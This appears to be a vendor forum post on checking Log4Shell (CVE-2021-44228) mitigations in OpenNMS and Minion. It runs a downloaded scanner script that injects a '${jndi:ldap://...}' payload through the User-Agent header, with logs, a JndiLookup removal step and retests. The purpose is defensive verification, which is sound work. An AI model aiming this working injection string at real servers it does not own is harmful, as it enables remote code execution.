Verifying CVE-2021-44228 mitigations in OpenNMS

As broadcast in this announcement, an RCE exists in the log4j2 library which affects many (most?) applications across the Java ecosystem. One question we’ve been asked by our users and customers is, “How can I verify the workarounds or mitigations we’ve put in place are protecting us from CVE-2021-44228?”

To start, extremely general information on the exploit:

  • you must be able to send input to the server
  • the input sent to the server must be logged somewhere

This means that, in theory, you can put the correct text in the http user-agent header to leverage this CVE, if the user-agent is logged in raw form somewhere.

In OpenNMS, we log the raw user agent header of a request only at DEBUG level. Thus, in order to run this verification, you must first log jetty-server at DEBUG:

[root@opennms etc]# sed -i 's/.*key="jetty-server".*/        <KeyValuePair key=\"jetty-server\"         value=\"DEBUG\" \/>/g' /opt/opennms/etc/log4j2.xml
[root@opennms etc]# grep jetty-server log4j2.xml
        <KeyValuePair key="jetty-server"         value="DEBUG" />

If you make this change live, it can take ~60 seconds before jetty will start logging at DEBUG.

Download the script from github: https://gist.githubusercontent.com/byt3bl33d3r/46661bc206d323e6770907d259e009b6/raw/5adb5c8eb09480ddff4427fbf11a9c983cffe3cd/log4j_rce_check.py (Shoutout to Marcello Salvati! :+1: )

The script needs the Python requests module, so:

pip install requests

Run this script locally, on your OpenNMS server, against your OpenNMS application:

[root@opennms etc]# python3.6 /tmp/log4j_rce_check.py --attacker-host 127.0.0.1:1389 http://127.0.0.1:8980/opennms/rest/config/trapd
[log4jscanner:foo.py] DEBUG - Starting server on 0.0.0.0:1389
[log4jscanner:foo.py] DEBUG - Connected by ('127.0.0.1', 52826). If this is the same host you attacked its most likely vulnerable
300c020101600702010304008000

The DEBUG log of the request:

2021-12-13 13:13:03,286 DEBUG [qtp2113699263-1119526] o.e.j.s.HttpChannel: REQUEST for //127.0.0.1:8980/opennms/rest/config/trapd on HttpChannelOverHttp@78a01a0d{s=HttpChannelState@638ebbb9{s=IDLE rs=BLOCKING os=OPEN is=IDLE awp=false se=false i=true al=0},r=1,c=false/false,a=IDLE,uri=//127.0.0.1:8980/opennms/rest/config/trapd,age=0}
GET //127.0.0.1:8980/opennms/rest/config/trapd HTTP/1.1
Host: 127.0.0.1:8980^M
User-Agent: ${jndi:ldap://127.0.0.1:1389/exploit.class}^M
Accept-Encoding: gzip, deflate^M
Accept: */*^M
Connection: keep-alive^M

This server is vulnerable to CVE-2021-44228.

Perform the recommended mitigations as noted in our announcement, or as noted by the Apache Foundation: Log4j – Apache Log4j 2

  • NB: The only currently recommended mitigation paths are to remove the jndilookup class from the classpath by removing it from the log4j-core jar, or to upgrade to 2.16.0; for example: zip -q -d /opt/opennms/lib/log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

When retesting after mitigations are performed:

[root@opennms etc]# python3.6 /tmp/foo.py --attacker-host 127.0.0.1:5555 http://127.0.0.1:8980/opennms/rest/config/trapd
[log4jscanner:foo.py] DEBUG - Starting server on 0.0.0.0:5555
[log4jscanner:foo.py] DEBUG - Waiting 10 seconds for a response
[root@opennms etc]#

Nothing is returned; likely not vulnerable.

Similar request logged:

2021-12-13 13:32:52,450 DEBUG [qtp1105485026-739] o.e.j.s.HttpChannel: REQUEST for //127.0.0.1:8980/opennms/rest/config/trapd on HttpChannelOverHttp@2070b8cb{s=HttpChannelState@13adb6e4{s=IDLE rs=BLOCKING os=OPEN is=IDLE awp=false se=false i=true al=0},r=1,c=false/false,a=IDLE,uri=//127.0.0.1:8980/opennms/rest/config/trapd,age=0}
GET //127.0.0.1:8980/opennms/rest/config/trapd HTTP/1.1
Host: 127.0.0.1:8980
User-Agent: ${jndi:ldap://127.0.0.1:5555/exploit.class}
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

Return jetty-server to INFO or WARN after verification:

[root@opennms etc]# sed -i 's/.*key="jetty-server".*/        <KeyValuePair key=\"jetty-server\"         value=\"WARN\" \/>/g' /opt/opennms/etc/log4j2.xml
[root@opennms etc]# grep jetty-server log4j2.xml
        <KeyValuePair key="jetty-server"         value="WARN" />

Verifying on Minion:

Log into the minion Karaf shell and set the logging to DEBUG:

[itsameemario@29minion ~]$ ssh -p 8201 admin@localhost
admin@minion()>  log:set DEBUG
admin@minion()>

In a terminal on your Minion host, download, and run the Python script:

[root@29minion ~]# curl -s -o log4j_rce_check.py https://gist.githubusercontent.com/byt3bl33d3r/46661bc206d323e6770907d259e009b6/raw/5adb5c8eb09480ddff4427fbf11a9c983cffe3cd/log4j_rce_check.py
[root@29minion ~]# pip install requests
[ ... ]
[root@29minion ~]# python3.6 log4j_rce_check.py --attacker-host 127.0.0.1:5555 --timeout 60 http://127.0.0.1:8181
[log4jscanner:log4j_rce_check.py] DEBUG - Starting server on 0.0.0.0:5555
[log4jscanner:log4j_rce_check.py] DEBUG - Connected by ('127.0.0.1', 51856). If this is the same host you attacked its most likely vulnerable
300c020101600702010304008000

The logged request on Minion:

2021-12-13T15:04:46,406 | DEBUG | qtp1604765200-254 | HttpChannel                      | 101 - org.eclipse.jetty.util - 9.4.40.v20210413 | REQUEST for //127.0.0.1:8181/ on HttpChannelOverHttp@23795406{s=HttpChannelState@34aab84e{s=IDLE rs=BLOCKING os=OPEN is=IDLE awp=false se=false i=true al=0},r=1,c=false/false,a=IDLE,uri=//127.0.0.1:8181/,age=0}
GET //127.0.0.1:8181/ HTTP/1.1
Host: 127.0.0.1:8181^M
User-Agent: ${jndi:ldap://127.0.0.1:5555/exploit.class}^M
Accept-Encoding: gzip, deflate^M
Accept: */*^M
Connection: keep-alive^M

You can also run the script to listen for requests, and in the Karaf shell, simply echo the exploit string:

admin@minion()> echo \${jndi:ldap://127.0.0.1:5555/exploit.class}
${jndi:ldap://127.0.0.1:5555/exploit.class}

Which logs (at DEBUG):

2021-12-13T15:04:32,485 | DEBUG | Karaf ssh console user admin | LoggingCommandSessionListener    | 56 - org.apache.karaf.shell.core - 4.3.2 | Executing command: 'echo \${jndi:ldap://127.0.0.1:5555/exploit.class}'
2021-12-13T15:04:32,507 | DEBUG | Karaf ssh console user admin | LoggingCommandSessionListener    | 56 - org.apache.karaf.shell.core - 4.3.2 | Command: 'echo \${jndi:ldap://127.0.0.1:5555/exploit.class}' returned 'null'

And the script will respond:

[root@29minion ~]# python3.6 log4j_rce_check.py --attacker-host 127.0.0.1:5555 --timeout 60 http://127.0.0.1:99999
[log4jscanner:log4j_rce_check.py] DEBUG - Starting server on 0.0.0.0:5555
[log4jscanner:log4j_rce_check.py] ERROR - HTTP connection to target URL error: HTTPConnectionPool(host='127.0.0.1', port=99999): Max retries exceeded with url: / (Caused by NewConnectionError('<urllib3.connection.HTTPConnection object at 0x7f42517a35c0>: Failed to establish a new connection: [Errno 111] Connection refused',))
[log4jscanner:log4j_rce_check.py] DEBUG - Waiting 60 seconds for a response
[log4jscanner:log4j_rce_check.py] DEBUG - Connected by ('127.0.0.1', 51892). If this is the same host you attacked its most likely vulnerable
300c020101600702010304008000

Apply the mitigations as provided by the Apache log4j project; remove the jndilookup class from the jar entirely:

zip -q -d /opt/minion/system/org/ops4j/pax/logging/pax-logging-log4j2/*/pax-logging-log4j2-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class 
&& rm /opt/minion/system/org/ops4j/pax/logging/pax-logging-log4j2/*/pax-logging-log4j2-*.jar.sha1 
&& rm -rf /opt/minion/data/* 
&&  systemctl restart minion.service

You can then retest:

[root@29minion ~]# python3.6 log4j_rce_check.py --attacker-host 127.0.0.1:5555 http://127.0.0.1:8181
[log4jscanner:log4j_rce_check.py] DEBUG - Starting server on 0.0.0.0:5555
[log4jscanner:log4j_rce_check.py] DEBUG - Waiting 10 seconds for a response
[root@29minion ~]#

No response, likely not vulnerable!

Revert your log level to WARN when you are done:

admin@minion()> log:set WARN
admin@minion()>
1 Like

New release is available with a patched log4j

1 Like